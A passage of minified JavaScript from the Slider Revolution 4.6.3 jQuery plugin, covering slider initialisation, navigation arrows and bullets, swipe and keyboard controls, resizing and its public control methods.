src="'+G.data("aimg")+'">')}}if(R.navigationStyle=="preview1"||R.navigationStyle=="preview3"||R.navigationStyle=="preview4"){R.soloArrowLeftHalign="left";R.soloArrowLeftValign="center";R.soloArrowLeftHOffset=0;R.soloArrowLeftVOffset=0;R.soloArrowRightHalign="right";R.soloArrowRightValign="center";R.soloArrowRightHOffset=0;R.soloArrowRightVOffset=0;R.navigationArrows="solo"}if(R.simplifyAll=="on"&&(a6(8)||aR())){G.find(".tp-caption").each(function(){var b=a2(this);b.removeClass("customin").removeClass("customout").addClass("fadein").addClass("fadeout");b.data("splitin","");b.data("speed",400)});G.find(">ul>li").each(function(){var b=a2(this);b.data("transition","fade");b.data("masterspeed",500);b.data("slotamount",1);var f=b.find(">img").first();f.data("kenburns","off")})}R.desktop=!navigator.userAgent.match(/(iPhone|iPod|iPad|Android|BlackBerry|BB10|mobi|tablet|opera mini|nexus 7)/i);if(R.fullWidth!="on"&&R.fullScreen!="on"){R.autoHeight="off"}if(R.fullScreen=="on"){R.autoHeight="on"}if(R.fullWidth!="on"&&R.fullScreen!="on"){forceFulWidth="off"}if(R.fullWidth=="on"&&R.autoHeight=="off"){G.css({maxHeight:R.startheight+"px"})}if(aq()&&R.hideThumbsOnMobile=="on"&&R.navigationType=="thumb"){R.navigationType="none"}if(aq()&&R.hideBulletsOnMobile=="on"&&R.navigationType=="bullet"){R.navigationType="none"}if(aq()&&R.hideBulletsOnMobile=="on"&&R.navigationType=="both"){R.navigationType="none"}if(aq()&&R.hideArrowsOnMobile=="on"){R.navigationArrows="none"}if(R.forceFullWidth=="on"&&G.closest(".forcefullwidth_wrapper_tp_banner").length==0){var V=G.parent().offset().left;var s=G.parent().css("marginBottom");var K=G.parent().css("marginTop");if(s==aK){s=0}if(K==aK){K=0}G.parent().wrap('<div style="position:relative;width:100%;height:auto;margin-top:'+K+";margin-bottom:"+s+'" class="forcefullwidth_wrapper_tp_banner"></div>');G.closest(".forcefullwidth_wrapper_tp_banner").append('<div class="tp-fullwidth-forcer" style="width:100%;height:'+G.height()+'px"></div>');G.css({backgroundColor:G.parent().css("backgroundColor"),backgroundImage:G.parent().css("backgroundImage")});G.parent().css({left:0-V+"px",position:"absolute",width:a2(window).width()});R.width=a2(window).width()}try{if(R.hideThumbsUnderResolution>a2(window).width()&&R.hideThumbsUnderResolution!=0){G.parent().find(".tp-bullets.tp-thumbs").css({display:"none"})}else{G.parent().find(".tp-bullets.tp-thumbs").css({display:"block"})}}catch(U){}if(!G.hasClass("revslider-initialised")){G.addClass("revslider-initialised");if(G.attr("id")==aK){G.attr("id","revslider-"+Math.round(Math.random()*1000+5))}R.firefox13=false;R.ie=!a2.support.opacity;R.ie9=document.documentMode==9;R.origcd=R.delay;var W=a2.fn.jquery.split("."),q=parseFloat(W[0]),u=parseFloat(W[1]),c=parseFloat(W[2]||"0");if(q==1&&u<7){G.html('<div style="text-align:center; padding:40px 0px; font-size:20px; color:#992222;"> The Current Version of jQuery:'+W+" <br>Please update your jQuery Version to min. 1.7 in Case you wish to use the Revolution Slider Plugin</div>")}if(q>1){R.ie=false}if(!a2.support.transition){a2.fn.transition=a2.fn.animate}G.find(".caption").each(function(){a2(this).addClass("tp-caption")});if(aq()){G.find(".tp-caption").each(function(){var b=a2(this);if(b.data("autoplayonlyfirsttime")==true||b.data("autoplayonlyfirsttime")=="true"){b.data("autoplayonlyfirsttime","false")}if(b.data("autoplay")==true||b.data("autoplay")=="true"){b.data("autoplay",false)}})}var o=0;var a=0;var z=0;var N="http";if(location.protocol==="https:"){N="https"}G.find(".tp-caption").each(function(v){try{if((a2(this).data("ytid")!=aK||a2(this).find("iframe").attr("src").toLowerCase().indexOf("youtube")>0)&&o==0){o=1;var k=document.createElement("script");var g="https";k.src=g+"://www.youtube.com/iframe_api";var j=document.getElementsByTagName("script")[0];var m=true;a2("head").find("*").each(function(){if(a2(this).attr("src")==g+"://www.youtube.com/iframe_api"){m=false}});if(m){j.parentNode.insertBefore(k,j)}}}catch(f){}try{if((a2(this).data("vimeoid")!=aK||a2(this).find("iframe").attr("src").toLowerCase().indexOf("vimeo")>0)&&a==0){a=1;var b=document.createElement("script");b.src=N+"://a.vimeocdn.com/js/froogaloop2.min.js";var j=document.getElementsByTagName("script")[0];var m=true;a2("head").find("*").each(function(){if(a2(this).attr("src")==N+"://a.vimeocdn.com/js/froogaloop2.min.js"){m=false}});if(m){j.parentNode.insertBefore(b,j)}}}catch(f){}try{if(a2(this).data("videomp4")!=aK||a2(this).data("videowebm")!=aK){}}catch(f){}});G.find(".tp-caption video").each(function(b){a2(this).removeClass("video-js").removeClass("vjs-default-skin");a2(this).attr("preload","");a2(this).css({display:"none"})});G.find(">ul:first-child >li").each(function(){var b=a2(this);b.data("origindex",b.index())});if(R.shuffle=="on"){var n=new Object,J=G.find(">ul:first-child >li:first-child");n.fstransition=J.data("fstransition");n.fsmasterspeed=J.data("fsmasterspeed");n.fsslotamount=J.data("fsslotamount");for(var h=0;h<G.find(">ul:first-child >li").length;h++){var l=Math.round(Math.random()*G.find(">ul:first-child >li").length);G.find(">ul:first-child >li:eq("+l+")").prependTo(G.find(">ul:first-child"))}var X=G.find(">ul:first-child >li:first-child");X.data("fstransition",n.fstransition);X.data("fsmasterspeed",n.fsmasterspeed);X.data("fsslotamount",n.fsslotamount)}R.slots=4;R.act=-1;R.next=0;if(R.startWithSlide!=aK){R.next=R.startWithSlide}var y=aQ("#")[0];if(y.length<9){if(y.split("slide").length>1){var d=parseInt(y.split("slide")[1],0);if(d<1){d=1}if(d>G.find(">ul:first >li").length){d=G.find(">ul:first >li").length}R.next=d-1}}R.firststart=1;if(R.navigationHOffset==aK){R.navOffsetHorizontal=0}if(R.navigationVOffset==aK){R.navOffsetVertical=0}G.append('<div class="tp-loader '+R.spinner+'"><div class="dot1"></div><div class="dot2"></div><div class="bounce1"></div><div class="bounce2"></div><div class="bounce3"></div></div>');if(G.find(".tp-bannertimer").length==0){G.append('<div class="tp-bannertimer" style="visibility:hidden"></div>')}var p=G.find(".tp-bannertimer");if(p.length>0){p.css({width:"0%"})}G.addClass("tp-simpleresponsive");R.container=G;R.slideamount=G.find(">ul:first >li").length;if(G.height()==0){G.height(R.startheight)}if(R.startwidth==aK||R.startwidth==0){R.startwidth=G.width()}if(R.startheight==aK||R.startheight==0){R.startheight=G.height()}R.width=G.width();R.height=G.height();R.bw=R.startwidth/G.width();R.bh=R.startheight/G.height();if(R.width!=R.startwidth){R.height=Math.round(R.startheight*(R.width/R.startwidth));G.height(R.height)}if(R.shadow!=0){G.parent().append('<div class="tp-bannershadow tp-shadow'+R.shadow+'"></div>');var V=0;if(R.forceFullWidth=="on"){V=0-R.container.parent().offset().left}G.parent().find(".tp-bannershadow").css({width:R.width,left:V})}G.find("ul").css({display:"none"});var I=G;G.find("ul").css({display:"block"});aF(G,R);if(R.parallax!="off"){aO(G,R)}if(R.slideamount>1){aT(G,R)}if(R.slideamount>1&&R.navigationType=="thumb"){aV(G,R)}if(R.slideamount>1){a4(G,R)}if(R.keyboardNavigation=="on"){aY(G,R)}aP(G,R);if(R.hideThumbs>0){a3(G,R)}setTimeout(function(){am(G,R)},R.startDelay);R.startDelay=0;if(R.slideamount>1){aD(G,R)}setTimeout(function(){G.trigger("revolution.slide.onloaded")},500);a2("body").data("rs-fullScreenMode",false);a2(window).on("mozfullscreenchange webkitfullscreenchange fullscreenchange",function(){a2("body").data("rs-fullScreenMode",!a2("body").data("rs-fullScreenMode"));if(a2("body").data("rs-fullScreenMode")){setTimeout(function(){a2(window).trigger("resize")},200)}});var Q="resize.revslider-"+G.attr("id");a2(window).on(Q,function(){if(G==aK){return false}if(a2("body").find(G)!=0){if(R.forceFullWidth=="on"){var b=R.container.closest(".forcefullwidth_wrapper_tp_banner").offset().left;R.container.parent().css({left:0-b+"px",width:a2(window).width()})}}if(G.outerWidth(true)!=R.width||G.is(":hidden")){aJ(G,R)}});try{if(R.hideThumbsUnderResoluition!=0&&R.navigationType=="thumb"){if(R.hideThumbsUnderResoluition>a2(window).width()){a2(".tp-bullets").css({display:"none"})}else{a2(".tp-bullets").css({display:"block"})}}}catch(U){}G.find(".tp-scrollbelowslider").on("click",function(){var b=0;try{b=a2("body").find(R.fullScreenOffsetContainer).height()}catch(f){}try{b=b-parseInt(a2(this).data("scrolloffset"),0)}catch(f){}a2("body,html").animate({scrollTop:G.offset().top+G.find(">ul >li").height()-b+"px"},{duration:400})});var t=G.parent();if(a2(window).width()<R.hideSliderAtLimit){G.trigger("stoptimer");if(t.css("display")!="none"){t.data("olddisplay",t.css("display"))}t.css({display:"none"})}aL(G,R)}}a2.fn.extend({revolution:function(b){var a={delay:9000,startheight:500,startwidth:960,fullScreenAlignForce:"off",autoHeight:"off",hideTimerBar:"off",hideThumbs:200,hideNavDelayOnMobile:1500,thumbWidth:100,thumbHeight:50,thumbAmount:3,navigationType:"bullet",navigationArrows:"solo",navigationInGrid:"off",hideThumbsOnMobile:"off",hideBulletsOnMobile:"off",hideArrowsOnMobile:"off",hideThumbsUnderResoluition:0,navigationStyle:"round",navigationHAlign:"center",navigationVAlign:"bottom",navigationHOffset:0,navigationVOffset:20,soloArrowLeftHalign:"left",soloArrowLeftValign:"center",soloArrowLeftHOffset:20,soloArrowLeftVOffset:0,soloArrowRightHalign:"right",soloArrowRightValign:"center",soloArrowRightHOffset:20,soloArrowRightVOffset:0,keyboardNavigation:"on",touchenabled:"on",onHoverStop:"on",stopAtSlide:-1,stopAfterLoops:-1,hideCaptionAtLimit:0,hideAllCaptionAtLimit:0,hideSliderAtLimit:0,shadow:0,fullWidth:"off",fullScreen:"off",minFullScreenHeight:0,fullScreenOffsetContainer:"",fullScreenOffset:"0",dottedOverlay:"none",forceFullWidth:"off",spinner:"spinner0",swipe_treshold:75,swipe_min_touches:1,drag_block_vertical:false,isJoomla:false,parallax:"off",parallaxLevels:[10,15,20,25,30,35,40,45,50,55,60,65,70,75,80,85],parallaxBgFreeze:"off",parallaxOpacity:"on",parallaxDisableOnMobile:"off",panZoomDisableOnMobile:"off",simplifyAll:"on",minHeight:0,nextSlideOnWindowFocus:"off",startDelay:0};b=a2.extend({},a,b);return this.each(function(){if(window.tplogs==true){try{console.groupCollapsed("Slider Revolution 4.6.3 Initialisation on "+a2(this).attr("id"));console.groupCollapsed("Used Options:");console.info(b);console.groupEnd();console.groupCollapsed("Tween Engine:")}catch(c){}}if(punchgs.TweenLite==aK){if(window.tplogs==true){try{console.error("GreenSock Engine Does not Exist!")}catch(c){}}return false}punchgs.force3D=true;if(window.tplogs==true){try{console.info("GreenSock Engine Version in Slider Revolution:"+punchgs.TweenLite.version)}catch(c){}}if(b.simplifyAll=="on"){}else{punchgs.TweenLite.lagSmoothing(1000,16);punchgs.force3D="true"}if(window.tplogs==true){try{console.groupEnd();console.groupEnd()}catch(c){}}aM(a2(this),b)})},revscroll:function(a){return this.each(function(){var b=a2(this);if(b!=aK&&b.length>0&&a2("body").find("#"+b.attr("id")).length>0){a2("body,html").animate({scrollTop:b.offset().top+b.find(">ul >li").height()-a+"px"},{duration:400})}})},revredraw:function(a){return this.each(function(){var d=a2(this);if(d!=aK&&d.length>0&&a2("body").find("#"+d.attr("id")).length>0){var c=d.parent().find(".tp-bannertimer");var b=c.data("opt");aJ(d,b)}})},revkill:function(j){var g=this,d=a2(this);if(d!=aK&&d.length>0&&a2("body").find("#"+d.attr("id")).length>0){d.data("conthover",1);d.data("conthover-changed",1);d.trigger("revolution.slide.onpause");var f=d.parent().find(".tp-bannertimer");var h=f.data("opt");h.bannertimeronpause=true;d.trigger("stoptimer");punchgs.TweenLite.killTweensOf(d.find("*"),false);punchgs.TweenLite.killTweensOf(d,false);d.unbind("hover, mouseover, mouseenter,mouseleave, resize");var c="resize.revslider-"+d.attr("id");a2(window).off(c);d.find("*").each(function(){var a=a2(this);a.unbind("on, hover, mouseenter,mouseleave,mouseover, resize,restarttimer, stoptimer");a.off("on, hover, mouseenter,mouseleave,mouseover, resize");a.data("mySplitText",null);a.data("ctl",null);if(a.data("tween")!=aK){a.data("tween").kill()}if(a.data("kenburn")!=aK){a.data("kenburn").kill()}a.remove();a.empty();a=null});punchgs.TweenLite.killTweensOf(d.find("*"),false);punchgs.TweenLite.killTweensOf(d,false);f.remove();try{d.closest(".forcefullwidth_wrapper_tp_banner").remove()}catch(b){}try{d.closest(".rev_slider_wrapper").remove()}catch(b){}try{d.remove()}catch(b){}d.empty();d.html();d=null;h=null;delete g.container;delete g.opt;return true}else{return false}},revpause:function(a){return this.each(function(){var d=a2(this);if(d!=aK&&d.length>0&&a2("body").find("#"+d.attr("id")).length>0){d.data("conthover",1);d.data("conthover-changed",1);d.trigger("revolution.slide.onpause");var c=d.parent().find(".tp-bannertimer");var b=c.data("opt");b.bannertimeronpause=true;d.trigger("stoptimer")}})},revresume:function(a){return this.each(function(){var d=a2(this);if(d!=aK&&d.length>0&&a2("body").find("#"+d.attr("id")).length>0){d.data("conthover",0);d.data("conthover-changed",1);d.trigger("revolution.slide.onresume");var c=d.parent().find(".tp-bannertimer");var b=c.data("opt");b.bannertimeronpause=false;d.trigger("starttimer")}})},revnext:function(a){return this.each(function(){var b=a2(this);if(b!=aK&&b.length>0&&a2("body").find("#"+b.attr("id")).length>0){b.parent().find(".tp-rightarrow").click()}})},revprev:function(a){return this.each(function(){var b=a2(this);if(b!=aK&&b.length>0&&a2("body").find("#"+b.attr("id")).length>0){b.parent().find(".tp-leftarrow").click()}})},revmaxslide:function(a){return a2(this).find(">ul:first-child >li").length},revcurrentslide:function(d){var c=a2(this);if(c!=aK&&c.length>0&&a2("body").find("#"+c.attr("id")).length>0){var a=c.parent().find(".tp-bannertimer");var b=a.data("opt");return b.act}},revlastslide:function(d){var c=a2(this);if(c!=aK&&c.length>0&&a2("body").find("#"+c.attr("id")).length>0){var a=c.parent().find(".tp-bannertimer");var b=a.data("opt");return b.lastslide}},revshowslide:function(a){return this.each(function(){var b=a2(this);if(b!=aK&&b.length>0&&a2("body").find("#"+b.attr("id")).length>0){b.data("showus",a);b.parent().find(".tp-rightarrow").click()}})}});var aX=function(){var b,a,c={hidden:"visibilitychange",webkitHidden:"webkitvisibilitychange",mozHidden:"mozvisibilitychange",msHidden:"msvisibilitychange"};for(b in c){if(b in document){a=c[b];break}}return function(d){if(d){document.addEventListener(a,d)}return !document[b]}}();var aL=function(d,c){var a=document.documentMode===aK,b=window.chrome;if(a&&!b){a2(window).on("focusin",function(){if(d==aK){return false}setTimeout(function(){if(c.nextSlideOnWindowFocus=="on"){d.revnext()}d.revredraw()},300)}).on("focusout",function(){})}else{if(window.addEventListener){window.addEventListener("focus",function(f){if(d==aK){return false}setTimeout(function(){if(c.nextSlideOnWindowFocus=="on"){d.revnext()}d.revredraw()},300)},false);window.addEventListener("blur",function(f){},false)}else{window.attachEvent("focus",function(f){setTimeout(function(){if(d==aK){return false}if(c.nextSlideOnWindowFocus=="on"){d.revnext()}d.revredraw()},300)});window.attachEvent("blur",function(f){})}}};var aQ=function(d){var b=[],f;var c=window.location.href.slice(window.location.href.indexOf(d)+1).split("_");for(var a=0;a<c.length;a++){c[a]=c[a].replace("%3D","=");f=c[a].split("=");b.push(f[0]);b[f[0]]=f[1]}return b};var aJ=function(g,b){if(g==aK){return false}try{if(b.hideThumbsUnderResoluition!=0&&b.navigationType=="thumb"){if(b.hideThumbsUnderResoluition>a2(window).width()){a2(".tp-bullets").css({display:"none"})}else{a2(".tp-bullets").css({display:"block"})}}}catch(j){}g.find(".defaultimg").each(function(a){aZ(a2(this),b)});var q=g.parent();if(a2(window).width()<b.hideSliderAtLimit){g.trigger("stoptimer");if(q.css("display")!="none"){q.data("olddisplay",q.css("display"))}q.css({display:"none"})}else{if(g.is(":hidden")){if(q.data("olddisplay")!=aK&&q.data("olddisplay")!="undefined"&&q.data("olddisplay")!="none"){q.css({display:q.data("olddisplay")})}else{q.css({display:"block"})}g.trigger("restarttimer");setTimeout(function(){aJ(g,b)},150)}}var d=0;if(b.forceFullWidth=="on"){d=0-b.container.parent().offset().left}try{g.parent().find(".tp-bannershadow").css({width:b.width,left:d})}catch(j){}var p=g.find(">ul >li:eq("+b.act+") .slotholder");var k=g.find(">ul >li:eq("+b.next+") .slotholder");aw(g,b,g);punchgs.TweenLite.set(k.find(".defaultimg"),{opacity:0});p.find(".defaultimg").css({opacity:1});k.find(".defaultimg").each(function(){var a=a2(this);if(b.panZoomDisableOnMobile=="on"){}else{if(a.data("kenburn")!=aK){a.data("kenburn").restart();aj(g,b,true)}}});var h=g.find(">ul >li:eq("+b.next+")");var m=g.parent().find(".tparrows");if(m.hasClass("preview2")){m.css({width:parseInt(m.css("minWidth"),0)})}aW(h,b,true);aI(g,b)};var a6=function(b,d){var c=a2('<div style="display:none;"/>').appendTo(a2("body"));c.html("<!--[if "+(d||"")+" IE "+(b||"")+"]><a>&nbsp;</a><![endif]-->");var a=c.find("a").length;c.remove();return a};var a1=function(b,a){if(b.next==a.find(">ul >li").length-1){b.looptogo=b.looptogo-1;if(b.looptogo<=0){b.stopLoop="on"}}am(a,b)};var aT=function(b,d){var c="hidebullets";if(d.hideThumbs==0){c=""}if(d.navigationType=="bullet"||d.navigationType=="both"){b.parent().append('<div class="tp-bullets '+c+" simplebullets "+d.navigationStyle+'"></div>')}var a=b.parent().find(".tp-bullets");b.find(">ul:first >li").each(function(g){var h=b.find(">ul:first >li:eq("+g+") img:first").attr("src");a.append('<div class="bullet"></div>');var f=a.find(".bullet:first")});a.find(".bullet").each(function(g){var f=a2(this);if(g==d.slideamount-1){f.addClass("last")}if(g==0){f.addClass("first")}f.click(function(){var j=false,h=f.index();if(d.navigationArrows=="withbullet"||d.navigationArrows=="nexttobullets"){h=f.index()-1}if(h==d.act){j=true}if(d.transition==0&&!j){d.next=h;a1(d,b)}})});a.append('<div class="tpclear"></div>');aI(b,d)};var a4=function(f,h){function d(j){f.parent().append('<div style="'+c+'" class="tp-'+j+"arrow "+g+" tparrows "+a+'"><div class="tp-arr-allwrapper"><div class="tp-arr-iwrapper"><div class="tp-arr-imgholder"></div><div class="tp-arr-imgholder2"></div><div class="tp-arr-titleholder"></div><div class="tp-arr-subtitleholder"></div></div></div></div>')}var b=f.find(".tp-bullets"),c="",g="hidearrows",a=h.navigationStyle;if(h.hideThumbs==0){g=""}if(h.navigationArrows=="none"){c="visibility:hidden;display:none"}h.soloArrowStyle="default "+h.navigationStyle;if(h.navigationArrows!="none"&&h.navigationArrows!="nexttobullets"){a=h.soloArrowStyle}d("left");d("right");f.parent().find(".tp-rightarrow").click(function(){if(h.transition==0){if(f.data("showus")!=aK&&f.data("showus")!=-1){h.next=f.data("showus")-1}else{h.next=h.next+1}f.data("showus",-1);if(h.next>=h.slideamount){h.next=0}if(h.next<0){h.next=0}if(h.act!=h.next){a1(h,f)}}});f.parent().find(".tp-leftarrow").click(function(){if(h.transition==0){h.next=h.next-1;h.leftarrowpressed=1;if(h.next<0){h.next=h.slideamount-1}a1(h,f)}});aI(f,h)};var aY=function(b,a){a2(document).keydown(function(c){if(a.transition==0&&c.keyCode==39){if(b.data("showus")!=aK&&b.data("showus")!=-1){a.next=b.data("showus")-1}else{a.next=a.next+1}b.data("showus",-1);if(a.next>=a.slideamount){a.next=0}if(a.next<0){a.next=0}if(a.act!=a.next){a1(a,b)}}if(a.transition==0&&c.keyCode==37){a.next=a.next-1;a.leftarrowpressed=1;if(a.next<0){a.next=a.slideamount-1}a1(a,b)}});aI(b,a)};var aP=function(a,c){var b="vertical";if(c.touchenabled=="on"){if(c.drag_block_vertical==true){b="none"}a.swipe({allowPageScroll:b,fingers:c.swipe_min_touches,treshold:c.swipe_treshold,swipe:function(h,j,k,g,f,d){switch(j){case"left":if(c.transition==0){c.next=c.next+1;if(c.next==c.slideamount){c.next=0}a1(c,a)}break;case"right":if(c.transition==0){c.next=c.next-1;c.leftarrowpressed=1;if(c.next<0){c.next=c.slideamount-1}a1(c,a)}break;case"up":if(b=="none"){a2("html, body").animate({scrollTop:a.offset().top+a.height()+"px"})}break;case"down":if(b=="none"){a2("html, body").animate({scrollTop:a.offset().top-a2(window).height()+"px"})}break}}})}};var a3=function(d,b){var f=d.parent().find(".tp-bullets"),c=d.parent().find(".tparrows");if(f==null){d.append('<div class=".tp-bullets"></div>');var f=d.parent().find(".tp-bullets")}if(c==null){d.append('<div class=".tparrows"></div>');var c=d.parent().find(".tparrows")}d.data("hideThumbs",b.hideThumbs);f.addClass("hidebullets");c.addClass("hidearrows");if(aq()){try{d.hammer().on("touch",function(){d.addClass("hovered");if(b.onHoverStop=="on"){d.trigger("stoptimer")}clearTimeout(d.data("hideThumbs"));f.removeClass("hidebullets");c.removeClass("hidearrows")});d.hammer().on("release",function(){d.removeClass("hovered");d.trigger("starttimer");if(!d.hasClass("hovered")&&!f.hasClass("hovered")){d.data("hideThumbs",setTimeout(function(){f.addClass("hidebullets");c.addClass("hidearrows");d.trigger("starttimer")},b.hideNavDelayOnMobile))}})}catch(a){}}else{f.hover(function(){b.overnav=true;if(b.onHoverStop=="on"){d.trigger("stoptimer")}f.addClass("hovered");clearTimeout(d.data("hideThumbs"));f.removeClass("hidebullets");c.removeClass("hidearrows")},function(){b.overnav=false;d.trigger("starttimer");f.removeClass("hovered");if(!d.hasClass("hovered")&&!f.hasClass("hovered")){d.data("hideThumbs",setTimeout(function(){f.addClass("hidebullets");c.addClass("hidearrows")},b.hideThumbs))}});c.hover(function(){b.overnav=true;if(b.onHoverStop=="on"){d.trigger("stoptimer")}f.addClass("hovered");clearTimeout(d.data("hideThumbs"));f.removeClass("hidebullets");c.removeClass("hidearrows")},function(){b.overnav=false;d.trigger("starttimer");f.removeClass("hovered")});d.on("mouseenter",function(){d.addClass("hovered");if(b.onHoverStop=="on"){d.trigger("stoptimer")}clearTimeout(d.data("hideThumbs"));f.removeClass("hidebullets");c.removeClass("hidearrows")});d.on("mouseleave",function(){d.removeClass("hovered");d.trigger("starttimer");if(!d.hasClass("hovered")&&!f.hasClass("hovered")){d.data("hideThumbs",setTimeout(function(){f.addClass("hidebullets");c.addClass("hidearrows")},b.hideThumbs))}})}};var aI=function(B,H){var D=B.parent();var K=D.find(".tp-bullets");if(H.navigationType=="thumb"){K.find(".thumb").each(function(a){var b=a2(this);b.css({width:H.thumbWidth*H.bw+"px",height:H.thumbHeight*H.bh+"px"})});var C=K.find(".tp-mask");C.width(H.thumbWidth*H.thumbAmount*H.bw);C.height(H.thumbHeight*H.bh);C.parent().width(H.thumbWidth*H.thumbAmount*H.bw);C.parent().height(H.thumbHeight*H.bh)}var G=D.find(".tp-leftarrow");var z=D.find(".tp-rightarrow");if(H.navigationType=="thumb"&&H.navigationArrows=="nexttobullets"){H.navigationArrows="solo"}if(H.navigationArrows=="nexttobullets"){G.prependTo(K).css({"float":"left"});z.insertBefore(K.find(".tpclear")).css({"float":"left"})}var R=0;if(H.forceFullWidth=="on"){R=0-H.container.parent().offset().left}var N=0,J=0;if(H.navigationInGrid=="on"){N=B.width()>H.startwidth?(B.width()-H.startwidth)/2:0,J=B.height()>H.startheight?(B.height()-H.startheight)/2:0}if(H.navigationArrows!="none"&&H.navigationArrows!="nexttobullets"){var P=H.soloArrowLeftValign,L=H.soloArrowLeftHalign,F=H.soloArrowRightValign,O=H.soloArrowRightHalign,x=H.soloArrowLeftVOffset,I=H.soloArrowLeftHOffset,M=H.soloArrowRightVOffset,k=H.soloArrowRightHOffset;G.css({position:"absolute"});z.css({position:"absolute"});if(P=="center"){G.css({top:"50%",marginTop:x-Math.round(G.innerHeight()/2)+"px"})}else{if(P=="bottom"){G.css({top:"auto",bottom:0+x+"px"})}else{if(P=="top"){G.css({bottom:"auto",top:0+x+"px"})}}}if(L=="center"){G.css({left:"50%",marginLeft:R+I-Math.round(G.innerWidth()/2)+"px"})}else{if(L=="left"){G.css({left:N+I+R+"px"})}else{if(L=="right"){G.css({right:N+I-R+"px"})}}}if(F=="center"){z.css({top:"50%",marginTop:M-Math.round(z.innerHeight()/2)+"px"})}else{if(F=="bottom"){z.css({top:"auto",bottom:0+M+"px"})}else{if(F=="top"){z.css({bottom:"auto",top:0+M+"px"})}}}if(O=="center"){z.css({left:"50%",marginLeft:R+k-Math.round(z.innerWidth()/2)+"px"})}else{if(O=="left"){z.css({left:N+k+R+"px"})}else{if(O=="right"){z.css({right:N+k-R+"px"})}}}if(G.position()!=null){G.css({top:Math.round(parseInt(G.position().top,0))+"px"})}if(z.position()!=null){z.css({top:Math.round(parseInt(z.position().top,0))+"px"})}}if(H.navigationArrows=="none"){G.css({visibility:"hidden"});z.css({visibility:"hidden"})}var Q=H.navigationVAlign,q=H.navigationHAlign,A=H.navigationVOffset*H.bh,j=H.navigationHOffset*H.bw;if(Q=="center"){K.css({top:"50%",marginTop:A-Math.round(K.innerHeight()/2)+"px"})}if(Q=="bottom"){K.css({bottom:0+A+"px"})}if(Q=="top"){K.css({top:0+A+"px"})}if(q=="center"){K.css({left:"50%",marginLeft:R+j-Math.round(K.innerWidth()/2)+"px"})}if(q=="left"){K.css({left:0+j+R+"px"})}if(q=="right"){K.css({right:0+j-R+"px"})}};var aS=function(q){var b=q.container;q.beforli=q.next-1;q.comingli=q.next+1;if(q.beforli<0){q.beforli=q.slideamount-1}if(q.comingli>=q.slideamount){q.comingli=0}var x=b.find(">ul:first-child >li:eq("+q.comingli+")"),G=b.find(">ul:first-child >li:eq("+q.beforli+")"),k=G.find(".defaultimg").attr("src"),F=x.find(".defaultimg").attr("src");if(q.arr==aK){q.arr=b.parent().find(".tparrows"),q.rar=b.parent().find(".tp-rightarrow"),q.lar=b.parent().find(".tp-leftarrow"),q.raimg=q.rar.find(".tp-arr-imgholder"),q.laimg=q.lar.find(".tp-arr-imgholder"),q.raimg_b=q.rar.find(".tp-arr-imgholder2"),q.laimg_b=q.lar.find(".tp-arr-imgholder2"),q.ratit=q.rar.find(".tp-arr-titleholder"),q.latit=q.lar.find(".tp-arr-titleholder")}var D=q.arr,A=q.rar,w=q.lar,C=q.raimg,y=q.laimg,j=q.raimg_b,B=q.laimg_b,E=q.ratit,t=q.latit;if(x.data("title")!=aK){E.html(x.data("title"))}if(G.data("title")!=aK){t.html(G.data("title"))}if(A.hasClass("itishovered")){A.width(E.outerWidth(true)+parseInt(A.css("minWidth"),0))}if(w.hasClass("itishovered")){w.width(t.outerWidth(true)+parseInt(w.css("minWidth"),0))}if(D.hasClass("preview2")&&!D.hasClass("hashoveralready")){D.addClass("hashoveralready");if(!aq()){D.hover(function(){var a=a2(this),c=a.find(".tp-arr-titleholder");if(a2(window).width()>767){a.width(c.outerWidth(true)+parseInt(a.css("minWidth"),0))}a.addClass("itishovered")},function(){var a=a2(this),c=a.find(".tp-arr-titleholder");a.css({width:parseInt(a.css("minWidth"),0)});a.removeClass("itishovered")})}else{var D=a2(this),z=D.find(".tp-arr-titleholder");z.addClass("alwayshidden");punchgs.TweenLite.set(z,{autoAlpha:0})}}if(G.data("thumb")!=aK){k=G.data("thumb")}if(x.data("thumb")!=aK){F=x.data("thumb")}if(!D.hasClass("preview4")){punchgs.TweenLite.to(C,0.5,{autoAlpha:0,onComplete:function(){C.css({backgroundImage:"url("+F+")"});y.css({backgroundImage:"url("+k+")"})}});punchgs.TweenLite.to(y,0.5,{autoAlpha:0,onComplete:function(){punchgs.TweenLite.to(C,0.5,{autoAlpha:1,delay:0.2});punchgs.TweenLite.to(y,0.5,{autoAlpha:1,delay:0.2})}})}else{j.css({backgroundImage:"url("+F+")"});B.css({backgroundImage:"url("+k+")"});punchgs.TweenLite.fromTo(j,0.8,{force3D:punchgs.force3d,x:0},{x:-C.width(),ease:punchgs.Power3.easeOut,delay:1,onComplete:function(){C.css({backgroundImage:"url("+F+")"});punchgs.TweenLite.set(j,{x:0})}});punchgs.TweenLite.fromTo(B,0.8,{force3D:punchgs.force3d,x:0},{x:C.width(),ease:punchgs.Power3.easeOut,delay:1,onComplete:function(){y.css({backgroundImage:"url("+k+")"});punchgs.TweenLite.set(B,{x:0})}});punchgs.TweenLite.fromTo(C,0.8,{x:0},{force3D:punchgs.force3d,x:-C.width(),ease:punchgs.Power3.easeOut,delay:1,onComplete:function(){punchgs.TweenLite.set(C,{x:0})}});punchgs.TweenLite.fromTo(y,0.8,{x:0},{force3D:punchgs.force3d,x:C.width(),ease:punchgs.Power3.easeOut,delay:1,onComplete:function(){punchgs.TweenLite.set(y,{x:0})}})}if(A.hasClass("preview4")&&!A.hasClass("hashoveralready")){A.addClass("hashoveralready");A.hover(function(){var a=a2(this).find(".tp-arr-iwrapper");var c=a2(this).find(".tp-arr-allwrapper");punchgs.TweenLite.fromTo(a,0.4,{x:a.width()},{x:0,delay:0.3,ease:punchgs.Power3.easeOut,overwrite:"all"});punchgs.TweenLite.to(c,0.2,{autoAlpha:1,overwrite:"all"})},function(){var a=a2(this).find(".tp-arr-iwrapper");var c=a2(this).find(".tp-arr-allwrapper");punchgs.TweenLite.to(a,0.4,{x:a.width(),ease:punchgs.Power3.easeOut,delay:0.2,overwrite:"all"});punchgs.TweenLite.to(c,0.2,{delay:0.6,autoAlpha:0,overwrite:"all"})});w.hover(function(){var a=a2(this).find(".tp-arr-iwrapper");var c=a2(this).find(".tp-arr-allwrapper");punchgs.TweenLite.fromTo(a,0.4,{x:0-a.width()},{x:0,delay:0.3,ease:punchgs.Power3.easeOut,overwrite:"all"});punchgs.TweenLite.to(c,0.2,{autoAlpha:1,overwrite:"all"})},function(){var a=a2(this).find(".tp-arr-iwrapper");var 